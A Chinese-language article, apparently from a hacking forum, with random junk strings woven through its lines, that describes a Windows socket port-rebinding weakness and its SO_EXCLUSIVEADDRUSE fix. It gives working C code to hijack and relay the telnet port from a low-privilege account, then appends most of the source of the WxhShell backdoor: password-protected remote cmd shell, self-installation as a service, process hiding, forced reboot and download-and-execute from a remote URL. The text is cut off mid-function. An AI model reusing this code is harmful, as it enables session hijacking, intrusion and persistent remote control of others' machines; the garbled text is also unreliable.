在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Y
.X-8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
BwA~*5TFu <i@jD saddr.sin_family = AF_INET;
\% Ih 6 [IX!3I[J] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{ca^yHgGy 8J@OMW&[l bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9S`b7U=P x6mq['_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
g0U\AN X_yU"U 这意味着什么?意味着可以进行如下的攻击:
JN|# C)dYAq3,8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
WUQh[A41 Fd=`9N9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@g` ,'r N`:bvr 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`'t;BXedz/ bao5^t} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
JHOBg{Wg G~j<I/)" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
omU)hFvyS 6>^k9cJp 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]qTr4`. Q ?<9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
!q1^X% a 9O_N
iu0 #include
QE6-(/ #include
W-B[_ #include
Fi}rv[`XY[ #include
UjK&`a;V DWORD WINAPI ClientThread(LPVOID lpParam);
^d=@RTyo/ int main()
Dy'l]vN$ {
qt;Tfuo WORD wVersionRequested;
J #5o DWORD ret;
s: .XF|e{ WSADATA wsaData;
[wxI
X BOOL val;
Oc=PJf%D# SOCKADDR_IN saddr;
L*Cf&c`8r SOCKADDR_IN scaddr;
zIm!8a int err;
&xT~;R^ SOCKET s;
0(6`dr_ SOCKET sc;
gx.]4v int caddsize;
lt"*y.%@b HANDLE mt;
[l{eJ/W DWORD tid;
fN>|X\- wVersionRequested = MAKEWORD( 2, 2 );
C\h<02 err = WSAStartup( wVersionRequested, &wsaData );
)}lV41u if ( err != 0 ) {
SuuS!U+i> printf("error!WSAStartup failed!\n");
RlL,eU$CS return -1;
.DsYR/ }
^aMdbB saddr.sin_family = AF_INET;
P.P>@@+d I8:&Btf //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}#
^PbM y=`(`|YW}` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
)SLs
[ saddr.sin_port = htons(23);
a
VMFjkW if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n[-!Jp[ {
&g {_.n, printf("error!socket failed!\n");
>C66X?0cd return -1;
1W7BN~p14 }
h0pr"]sO;$ val = TRUE;
S?tLIi/ //SO_REUSEADDR选项就是可以实现端口重绑定的
U /Fomu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
VG7#6)sQoK {
r $2 printf("error!setsockopt failed!\n");
AXI:h"so return -1;
9^olAfX`dB }
xb;mm9H
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
MPc=cLv //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
uwzT? C A6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
K>6p5*& znRhQ+8;! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
g>CQO,s;w {
a"4 6_> ret=GetLastError();
{P+[CO printf("error!bind failed!\n");
c^k.
<EA return -1;
-qF| Y
f }
K>eG5tt listen(s,2);
1=.?KAXR while(1)
O,v$'r W {
*5)!y
d caddsize = sizeof(scaddr);
?8/h3xV; //接受连接请求
_\[G7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
';F][x 5j if(sc!=INVALID_SOCKET)
1>{(dd?L {
2N]s}/l mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{D#`+uw if(mt==NULL)
xx8na8 {
(v}: printf("Thread Creat Failed!\n");
YJ$
=`lIM break;
bS<p dOX_ }
0rUf'S
?K }
Awh)@iTL CloseHandle(mt);
mws.) }
.|-y+9IP closesocket(s);
G.T1rUh= WSACleanup();
5K<C return 0;
4N&}hOM'S }
?CDq^)T[ DWORD WINAPI ClientThread(LPVOID lpParam)
q4oZJ -` {
,,gYU_V SOCKET ss = (SOCKET)lpParam;
!NjE5USi SOCKET sc;
N5DS-gv unsigned char buf[4096];
^p/mJ1/s7 SOCKADDR_IN saddr;
dPId=
w) long num;
7(Kc9sJC%% DWORD val;
%|>i2 DWORD ret;
%#~Wk|8} Q //如果是隐藏端口应用的话,可以在此处加一些判断
7&1: ]{_
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
5JXLfYTUI saddr.sin_family = AF_INET;
(WvA9s{/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
aT #|mk=\ saddr.sin_port = htons(23);
0M?}S~p] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dGe {
CS49M printf("error!socket failed!\n");
I4'j_X
t return -1;
%+~0+ev7r }
75f.^4/% val = 100;
"?SnA +) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|*i-Q @
D {
WW=7QCi ret = GetLastError();
@$]h[ return -1;
S8l+WF4q }
f`e.c_n( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>Mn.|:DF]& {
HFOp4 ret = GetLastError();
^Tx1y[hw$ return -1;
;f
Gi5=- }
4tjRju? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Hw?
J1#1IE {
m`~ Qr~ printf("error!socket connect failed!\n");
&0raa closesocket(sc);
Ai;Pht9qi closesocket(ss);
_1ins;c52 return -1;
2X`M&)"X }
Yi`.zm while(1)
tN~{Mt$-W {
"2J;~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
szHUHW~;J //如果是嗅探内容的话,可以再此处进行内容分析和记录
)<d8y Lb //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S5JnJkNn num = recv(ss,buf,4096,0);
;<\*(rUe if(num>0)
@Klj!2cv$ send(sc,buf,num,0);
0dW1I|jR else if(num==0)
vq}V0-
< break;
J']W7!p num = recv(sc,buf,4096,0);
5>
UgBA if(num>0)
gQ~4udla. send(ss,buf,num,0);
DVd/OU
else if(num==0)
X9 R-GT break;
A:f+x|[ }
eR
CGr?e4 closesocket(ss);
Zh@\+1] closesocket(sc);
f+&yc'[ return 0 ;
|@RO&F }
n !QjptQ N@}U ;x} $1e@3mzM ==========================================================
H\T
h4teE <IYt*vlm 下边附上一个代码,,WXhSHELL
4.8,&{w<m _~!,x.Dbp ==========================================================
7Do)++t DWI!\lK #include "stdafx.h"
PA E)3 &N EzKf #include <stdio.h>
JsV#: #include <string.h>
{q^KlSjm #include <windows.h>
DQSv'!KFO #include <winsock2.h>
ee0J;pP2# #include <winsvc.h>
/bWV`* #include <urlmon.h>
Rd2[xk (<12&=WxE #pragma comment (lib, "Ws2_32.lib")
wZ^/- #pragma comment (lib, "urlmon.lib")
4{|lzo'& J [1GP_ #define MAX_USER 100 // 最大客户端连接数
N`M5`=. #define BUF_SOCK 200 // sock buffer
xK/`XY #define KEY_BUFF 255 // 输入 buffer
wgrYZ^] &7 ,wdG #define REBOOT 0 // 重启
T*oH tpFj# #define SHUTDOWN 1 // 关机
hRP0Djc ,#crtX #define DEF_PORT 5000 // 监听端口
sEoS[t|" -Jhf] #define REG_LEN 16 // 注册表键长度
f*Kipgp #define SVC_LEN 80 // NT服务名长度
{1o=/& gVGq // 从dll定义API
G 6][@q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;BqX=X+# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
E$cr3 t7Xy typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
KksbhN{AB typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!`SR$dnE 1xw},y6T2 // wxhshell配置信息
Z1Ms~tch struct WSCFG {
eu#| | int ws_port; // 监听端口
m'pihFR:f char ws_passstr[REG_LEN]; // 口令
\ .:CL?m# int ws_autoins; // 安装标记, 1=yes 0=no
\R~Lf+q char ws_regname[REG_LEN]; // 注册表键名
dgO2fI char ws_svcname[REG_LEN]; // 服务名
5+U~ZW0|+ char ws_svcdisp[SVC_LEN]; // 服务显示名
I0Vm^\8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
:7R\"@V4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
xe5>)\18- int ws_downexe; // 下载执行标记, 1=yes 0=no
rJAY7/u char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
w(vf>L6( char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9`xq3EL2T 2uB.0
};
`p!.K9r7 rTi.k // default Wxhshell configuration
^#G>P0mG% struct WSCFG wscfg={DEF_PORT,
})J]D~!p "xuhuanlingzhe",
wtZe\h 1,
9U+^8,5 "Wxhshell",
U*-%V$3+w5 "Wxhshell",
DU;]Q:r{ "WxhShell Service",
A)qOJ(OEz "Wrsky Windows CmdShell Service",
'8dqJ`Gj "Please Input Your Password: ",
e@6}?q; 1,
&P\T{d2" "
http://www.wrsky.com/wxhshell.exe",
YXmLd'F^3 "Wxhshell.exe"
f`?|A
};
U8moVj8w1 5f1yszd // 消息定义模块
zP5H TEz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
m8FKr/Z- char *msg_ws_prompt="\n\r? for help\n\r#>";
o}[wu:>yk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
1f}Dza9 char *msg_ws_ext="\n\rExit.";
a1?Y7(alPU char *msg_ws_end="\n\rQuit.";
$hA[vi\5 char *msg_ws_boot="\n\rReboot...";
Qc6323/" char *msg_ws_poff="\n\rShutdown...";
0py0zE6,, char *msg_ws_down="\n\rSave to ";
Sna7r~j _3)~{dQ+ char *msg_ws_err="\n\rErr!";
g
>X!Q char *msg_ws_ok="\n\rOK!";
+jHL==W& U7{,
* char ExeFile[MAX_PATH];
9;:Lf int nUser = 0;
xEbcF+@ HANDLE handles[MAX_USER];
wt-)5f'{ int OsIsNt;
U2G\GU1 X ]Fa VKC~3 SERVICE_STATUS serviceStatus;
GLEGyT?~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
<}|+2f233+ u\6:Txqq // 函数声明
PyIIdTm int Install(void);
IuRKj8J)o int Uninstall(void);
CnJO]0Op3 int DownloadFile(char *sURL, SOCKET wsh);
q'PA2a: int Boot(int flag);
w@hm>6j void HideProc(void);
J.~$^-&! int GetOsVer(void);
htIV`_<Ro int Wxhshell(SOCKET wsl);
RF qbwPX void TalkWithClient(void *cs);
1,Y-_e) int CmdShell(SOCKET sock);
n`}vcVL; int StartFromService(void);
s$mcIMqs int StartWxhshell(LPSTR lpCmdLine);
ujHqwRh ZU/6#pb VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
tM~R?9OaJ VOID WINAPI NTServiceHandler( DWORD fdwControl );
,*Sj7qb# `^RpT]S // 数据结构和表定义
D (yRI SERVICE_TABLE_ENTRY DispatchTable[] =
EWbFy"= {
B1 'Ds {wscfg.ws_svcname, NTServiceMain},
&g|-3)A {NULL, NULL}
3.
Kh };
,LG6py&aT O"^KX5 // 自我安装
gR%fv int Install(void)
5r@x$* >e {
"(/.3`g char svExeFile[MAX_PATH];
@ 3FTf"#Y HKEY key;
![ Fb~Egc strcpy(svExeFile,ExeFile);
7?e*b(vd q0$}MB6 // 如果是win9x系统,修改注册表设为自启动
Xn4U!<RT" if(!OsIsNt) {
g;vG6!;E\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OSxr@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C}#JvNyQ RegCloseKey(key);
@"];\E$sI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
YS%HZFY, " RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
IrJCZsk RegCloseKey(key);
M~=9ym return 0;
v-EcJj% }
1%t9ic }
d XrLeoK }
cV=h8F else {
(m25ZhW G-xW&wC- // 如果是NT以上系统,安装为系统服务
YrFB~z.V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
F:1w%#6av if (schSCManager!=0)
Js ~_8 {
qf7lQovK SC_HANDLE schService = CreateService
o{lR_ (
g7rn|<6FI schSCManager,
hr(E,TAe wscfg.ws_svcname,
{|bf` wscfg.ws_svcdisp,
;5?$q SERVICE_ALL_ACCESS,
hxGZ}zq*S SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
6j+_)7.V SERVICE_AUTO_START,
QVsOB$ SERVICE_ERROR_NORMAL,
C65(
m svExeFile,
*6?h,Dt L NULL,
GBVw6+(c NULL,
w/#k.YE NULL,
LW
8LD|@ NULL,
f9?\Q'v8 NULL
>S,yqKp37~ );
+"'cSAK if (schService!=0)
|1uyJ?%B {
p<: bPw CloseServiceHandle(schService);
QJ\
o"c CloseServiceHandle(schSCManager);
F$F,I,$ " strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?I6 !m~ strcat(svExeFile,wscfg.ws_svcname);
\ym3YwP4/: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
4f:B 2x{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
jTH,GF RegCloseKey(key);
CI{? Kb return 0;
_ ?]bd-E }
pa*bqPi }
3dTz$s/[ CloseServiceHandle(schSCManager);
&A)AV<=>T }
fucG 9B }
Bq3" l%hI jhOQ)QE| return 1;
aSkH<5i`v }
uS`XWn<CSD #(=8
RA:@ // 自我卸载
UJ* D int Uninstall(void)
qwM71B!r {
4}E|CD/pZ HKEY key;
2+m%f" F<39eDNpz if(!OsIsNt) {
-|YG**i/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)!z<q}i5 RegDeleteValue(key,wscfg.ws_regname);
3copJS RegCloseKey(key);
dZK/v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-fKo~\Pr RegDeleteValue(key,wscfg.ws_regname);
T)?:q RegCloseKey(key);
h fZY5+Z< return 0;
LX2rg\a+% }
P|%uB'|H }
=bgzl=A` }
_FR_6*C)5 else {
K[r<-6TS %38HGjS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
1fUg if (schSCManager!=0)
ova4 {
cNOtfn6?F SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
yq]= +X>( if (schService!=0)
WR,MqM20 {
Is57)(^.- if(DeleteService(schService)!=0) {
/enlkZx=8 CloseServiceHandle(schService);
!Lkk1zo CloseServiceHandle(schSCManager);
&y_Ya%Z3*e return 0;
X?whyD)vE@ }
RC?gozBFJ CloseServiceHandle(schService);
>%LZ|*U }
[}:;B$, CloseServiceHandle(schSCManager);
pZHx }
v,]-;V~< }
i[L5,%5<H )S"!)\4 b return 1;
m#w1?y)Z@X }
b?i5C4=K 0])D)%B
k // 从指定url下载文件
Bl[4[N int DownloadFile(char *sURL, SOCKET wsh)
/5M0[C E {
%]G'u HRESULT hr;
7W[+e& char seps[]= "/";
@%iZT4`Ejf char *token;
&`x1_*l char *file;
hvW FzT5 char myURL[MAX_PATH];
# `L?24% char myFILE[MAX_PATH];
Ck1{\=t %[S-"k strcpy(myURL,sURL);
t?1b(oJ token=strtok(myURL,seps);
u-</G-y while(token!=NULL)
wH]5VltUT1 {
Z?JR6;@W file=token;
"xWrYq'" token=strtok(NULL,seps);
%Yw?!GvL[ }
U/ds(*g@ gug9cmA/Q7 GetCurrentDirectory(MAX_PATH,myFILE);
_ \&vA5- strcat(myFILE, "\\");
Mbm'cM&} strcat(myFILE, file);
'k'"+ send(wsh,myFILE,strlen(myFILE),0);
t?Ku6Z' send(wsh,"...",3,0);
Dxvizd>VU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
1FA:"0lO if(hr==S_OK)
(}B3df return 0;
E)>.2{]C> else
okm
}%#| return 1;
O}s Mqh ^O6eFD U }
Hnft1
VEsIhjQ // 系统电源模块
6+UTEw; int Boot(int flag)
Fv_B(a {
!}lCwV HANDLE hToken;
)B*D\9\Z TOKEN_PRIVILEGES tkp;
Q6PaT@gs je;C}4 if(OsIsNt) {
Uc%kyTBm1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)WNw0cV}J> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
M"\Iw'5$ tkp.PrivilegeCount = 1;
{"PIS&]tR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
XgI;2Be+&a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
*q&^tn b if(flag==REBOOT) {
;{lb_du2: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]A&pXAM return 0;
k'8tqIUN] }
x$hT+z6DUC else {
'vwu^u? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Y6 <.]H return 0;
j
D kBe-` }
6%^A6U }
P(%^J6[> else {
fK|P144 if(flag==REBOOT) {
k*4!rWr0r& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
%ZsdCQc{` return 0;
HT:V;?" }
^>/~MCyM. else {
XjXz#0nR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
b|-}?@&7&q return 0;
i&TWIl8 }
cY^'Cj }
#=V\WQb :u]QEZ@@ return 1;
;#bDz}|\AN }
6Vgxfic e_YTh^wU // win9x进程隐藏模块
zx/$ void HideProc(void)
FLo`EE":O( {
]T<tkvcI 8S`
j6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;w7s>(ITZ if ( hKernel != NULL )
h_HPmh5 {
mY[*(a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
yUjkRT&h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
(u4'*[o\t FreeLibrary(hKernel);
-}1TT@ }
MWv(/_b
od)ssL&E~ return;
[]jbzVwS2 }
esM r@Oc L1#_ // 获取操作系统版本
s:K'I7_#@ int GetOsVer(void)
?bAv{1dvT= {
'gtcy OSVERSIONINFO winfo;
_WR/]1R winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"m%EFWUOl GetVersionEx(&winfo);
UHgW-N" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
cd|/4L6 return 1;
T65"?=<EB else
X[!S7[d-y return 0;
|~o0-: 'C }
I!#WXK Cg(&WJw(ep // 客户端句柄模块
LGK&&srJs int Wxhshell(SOCKET wsl)
1N[9\Yi {
)Ma/]eZ^I SOCKET wsh;
*xjP^y": struct sockaddr_in client;
O!ilTMr DWORD myID;
~h:(9q8NLC v@4vitbG9 while(nUser<MAX_USER)
:='I>Gn {
yl&s!I int nSize=sizeof(client);
"ql$Rz8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
o%!s/Z1 if(wsh==INVALID_SOCKET) return 1;
l"1*0jgBw D\Y,2!I handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
n[B[hAT if(handles[nUser]==0)
gFd*\Dk closesocket(wsh);
R$p(5>#\5 else
DheQcM nUser++;
6RG63+G }
CZE!@1"<{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
on;>iKta9 FJ{/EloF return 0;
&2Ef:RZF }
gA`QV''/: JZK93R // 关闭 socket
7GTDe'T void CloseIt(SOCKET wsh)
v>HOz\F {
CH#K0hi closesocket(wsh);
1?yj<^" nUser--;
{V pk o ExitThread(0);
rog1 }
l3*GQ~m7 l<p<\,nV$ // 客户端请求句柄
##%&*vh void TalkWithClient(void *cs)
cF_`QRtO {
artn _ dz^b(q SOCKET wsh=(SOCKET)cs;
P,xIDj4d char pwd[SVC_LEN];
^?wR{q"8 char cmd[KEY_BUFF];
sH>`eqY char chr[1];
puLgc$? int i,j;
Fv*QcB9K _%er,Ed while (nUser < MAX_USER) {
S dN&%(ZE L[Ot$ if(wscfg.ws_passstr) {
6Xz d>5x if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8#\|Y~P //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6i%6u=um3 //ZeroMemory(pwd,KEY_BUFF);
,
@!X!L i=0;
VR .t while(i<SVC_LEN) {
D.-G!0! >28l9U // 设置超时
"h #/b}/ fd_set FdRead;
w3 kkam" struct timeval TimeOut;
A*vuS Qt( FD_ZERO(&FdRead);
B`t/21J FD_SET(wsh,&FdRead);
xjSzQ|k- TimeOut.tv_sec=8;
4"H*hKp TimeOut.tv_usec=0;
rd<43 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
[V>s]c<4`o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
& Zn`2% PU[<sr#, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^^zj4 }On? pwd
=chr[0]; * nFzfV
if(chr[0]==0xd || chr[0]==0xa) { e(N},s:_
pwd=0; BU4IN$d0Po
break; xticC>
} vcsSi%M\U
i++; "*t0
t
} j!y9E~Zz
:p,|6~b$
// 如果是非法用户,关闭 socket ya{`gjIlW
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ] jY^*o[
} .k-6LR
5eE\
X /
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o2=):2x
r{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y 9|!=T%
4'=Q:o*w`
while(1) { 8zpzVizDG
>~Xe` }'
ZeroMemory(cmd,KEY_BUFF); Yku6\/^
6PYm?i=p?
// 自动支持客户端 telnet标准 z HvE_-
j=0; @0s'
(
while(j<KEY_BUFF) { _"Z?O)d*
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NuSdN>8ll
cmd[j]=chr[0]; G<=I\T'g;
if(chr[0]==0xa || chr[0]==0xd) { j}tM0Ug.U
cmd[j]=0; p"c6d'qe
break; dq@
*8ui
} cc*?4C/t
j++; 4].o:d;`/
} BC/5 bA
Q(cLi:)X2
// 下载文件 e@
D}/1~=
if(strstr(cmd,"http://")) { >Oj$Dn=
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;l~a|KW0
if(DownloadFile(cmd,wsh)) {hJCn*m_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K!Fem6R
else }<X* :%#b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?P-O4
} Sh1$AGm
else { $ZGup"z)
`kxC#
&HO
switch(cmd[0]) { l?2
#*/nUbsg
// 帮助 =1dczJHV
case '?': { wn?oHz*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #O!2
break; m~*qS4
} ]Q ]y*
// 安装 Tx~w(A4:
case 'i': { $kxP5q%9
if(Install()) Jz>P[LcB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (*P`
else ;akW i]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3vcyes-U
break; Pg8boN]}
} OblHN*
// 卸载 ;l_b.z0^6
case 'r': { 6WQN!H8+^
if(Uninstall()) z[1uub,)1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :d9GkC
else ;M0`8MD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yNXYS
break; O5vfcX4>
} krFp q;
// 显示 wxhshell 所在路径 |f @A-d X
case 'p': { 2w3LK2`ZL
char svExeFile[MAX_PATH]; i
KQj[%O
strcpy(svExeFile,"\n\r"); u-|%K.A
strcat(svExeFile,ExeFile); -%Vh-;Ie(
send(wsh,svExeFile,strlen(svExeFile),0); d@g2 9rs
break; H390<`
} Be]z @E1x
// 重启 [n| }>
case 'b': { m jP
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b#p0s?*
if(Boot(REBOOT)) '%t$mf!nV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %;ED}X
else { hBX.GFnw
closesocket(wsh); gEsD7]o(=
ExitThread(0); 8)eRm{
} U ->vk{v
break; APF`b
} 8v2Wi.4T
// 关机 P8ej9ULX,
case 'd': { @}H'2V
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MYvz%7
if(Boot(SHUTDOWN)) B=K<k+{6"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .eg'Z@o
else { *5BVL_:~J
closesocket(wsh); jd ;)8^7K
ExitThread(0); z+;$cfN
} }wn|2K'
break; ?m2FN<S
} hNZ_=
<D!
// 获取shell 53:u6bb;
case 's': { N*|EfI|X
CmdShell(wsh); Z0zEX?2mb
closesocket(wsh); TM{m:I:Z*n
ExitThread(0); JS8pN5
break; 5]]QW3
} 4y+hr
// 退出 SaF0JPm4z
case 'x': { O4f9n
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Lf^
7|
CloseIt(wsh); Y=<ABtertS
break; ~FYC'd
} *!y04'p`<
// 离开 c^1JSGv
case 'q': { ef{Hj[8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); *vRHF1)L
closesocket(wsh); .Qn#wub
WSACleanup(); M5+R8ttc
exit(1); v"(6rZsa
break; #S/~1{
} hlV(jz
} p+b9D
} ~I>|f
i: UN
// 提示信息 jWxa
[>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2 N &B
} }])j>E
} [7`S`\_NK
E{JTy{z-
return; M^WoV
}'
} |n,O!29
i=b'_SZ'
// shell模块句柄 "[["naa
int CmdShell(SOCKET sock) 9mMQ
{ C'A
D[`p
STARTUPINFO si; `{"V(YMEV
ZeroMemory(&si,sizeof(si)); !K*3bY`#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :jTbzDqQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2ALYfZ|d
PROCESS_INFORMATION ProcessInfo; d:&cq8^
char cmdline[]="cmd"; !?i9fYu
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2xuU[
return 0; Y(rQ032s
} (0 t{
4xs>X7
// 自身启动模式 }W " i{s/
int StartFromService(void) u];\v%b
{ kH0kf-4\
typedef struct -6F\=
{ u{WI 4n?
DWORD ExitStatus; aF"PB
h=
DWORD PebBaseAddress; ]nIVP
DWORD AffinityMask; Rb
b[N#p5
DWORD BasePriority; u5qaLHoEP
ULONG UniqueProcessId; su\Lxv
ULONG InheritedFromUniqueProcessId; Aj\m57e,6
